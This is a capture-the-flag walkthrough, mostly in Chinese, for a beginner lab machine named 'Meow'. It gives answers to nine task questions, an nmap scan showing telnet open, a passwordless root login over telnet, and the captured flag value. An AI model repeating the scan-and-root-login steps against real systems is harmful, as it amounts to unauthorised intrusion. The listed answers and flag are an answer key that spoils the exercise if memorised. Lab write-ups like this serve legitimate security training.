Task 1
Q:What does the acronym VM stand for?
A:virtual machine
Task 2
Q:What tool do we use to interact with the operating system in order to start our VPN connection?
A：terminal
Task 3
Q：What service do we use to form our VPN connection?
A：openvpn
Task 4
Q：What is the abreviated name for a tunnel interface in the output of your VPN boot-up sequence output?
A：tun
Task 5
Q：What tool do we use to test our connection to the target?
A：ping
Task 6
Q：What is the name of the tool we use to scan the target's ports?
A：nmap
Task 7
Q：What service do we identify on port 23/tcp during our scans?
A：telnet
Task 8
Q：What username ultimately works with the remote management login prompt for the target?
这个问的是机器的用户名是啥，那只能连上去看看了
0x01 信息收集
直接拿nmap扫一下
nmap
┌──(root💀kali)-[~]
└─# nmap 10.129.69.56
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-27 20:33 CST
Nmap scan report for 10.129.69.56
Host is up (0.45s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
23/tcp open telnet
Nmap done: 1 IP address (1 host up) scanned in 4.75 seconds
发现开放了telnet服务，那么我们直接连上去
telnet
┌──(root💀kali)-[~]
└─# telnet 10.129.69.56
Trying 10.129.69.56...
Connected to 10.129.69.56.
Escape character is '^]'.
█ █ ▐▌ ▄█▄ █ ▄▄▄▄
█▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
█ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 27 Apr 2022 12:36:35 PM UTC
System load: 0.0
Usage of /: 41.7% of 7.75GB
Memory usage: 4%
Swap usage: 0%
Processes: 142
Users logged in: 1
IPv4 address for eth0: 10.129.69.56
IPv6 address for eth0: dead:beef::250:56ff:feb9:d656
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
75 updates can be applied immediately.
31 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Apr 27 12:22:06 UTC 2022 on pts/0
root@Meow:~#
这样我们就知道了这台机器的账户是root
A：root
Task 9
Q：Submit root flag
寻找flag
flag
Last login: Wed Apr 27 12:22:06 UTC 2022 on pts/0
root@Meow:~# ls
flag.txt snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#
先ls查看一下当前目录，发现了flag.txt
那么我们直接cat flag.txt得到了flag